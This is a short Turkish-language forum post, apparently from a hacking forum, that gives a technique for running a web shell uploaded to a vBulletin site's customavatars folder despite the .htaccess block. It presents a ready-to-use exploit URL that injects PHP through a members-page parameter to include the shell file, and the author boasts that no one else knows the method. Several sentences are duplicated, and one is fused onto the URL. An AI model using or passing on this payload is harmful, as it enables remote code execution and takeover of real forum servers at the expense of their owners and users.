Vbulletin customavatars klasörüne yüklenen shelli çalıştırma tekniğini vereceğim ancak avatar kısmında shellin upload edilme kısmına zamanında erişemedim, bilirsiniz customavatars klasöründeki .htaccess dosyası yüzünden shell yüklense bile çalıştırılamaz Forbidden access deny hatası verir.
Bu teknik ile shelli çalıştırıp kullanabilirsiniz.
Örnekte vbseo kullanıyormuş gibi bir url verdim, eğer kullanmıyorsa zaten ona göre members.php şeklinde url yi düzenlersiniz.
Olurda vbulletin avatar bölümüne shellinizi yüklemeyi başarır iseniz shelli çalıştırma yöntemi budur.
bu tekniği birkaç sene önce keşfettim piyasada şuanda bunu bilen kullanan yok
Bu teknik ile shelli çalıştırıp kullanabilirsiniz.
Kod:
http://ornekvbulletinsite.com/members/mectruy.html?tab=.&u=30|${${die(include(%27customavatars/abc.php%27))}}#Örnekte vbseo kullanıyormuş gibi bir url verdim, eğer kullanmıyorsa zaten ona göre members.php şeklinde url yi düzenlersiniz.
Olurda vbulletin avatar bölümüne shellinizi yüklemeyi başarır iseniz shelli çalıştırma yöntemi budur.
bu tekniği birkaç sene önce keşfettim piyasada şuanda bunu bilen kullanan yok
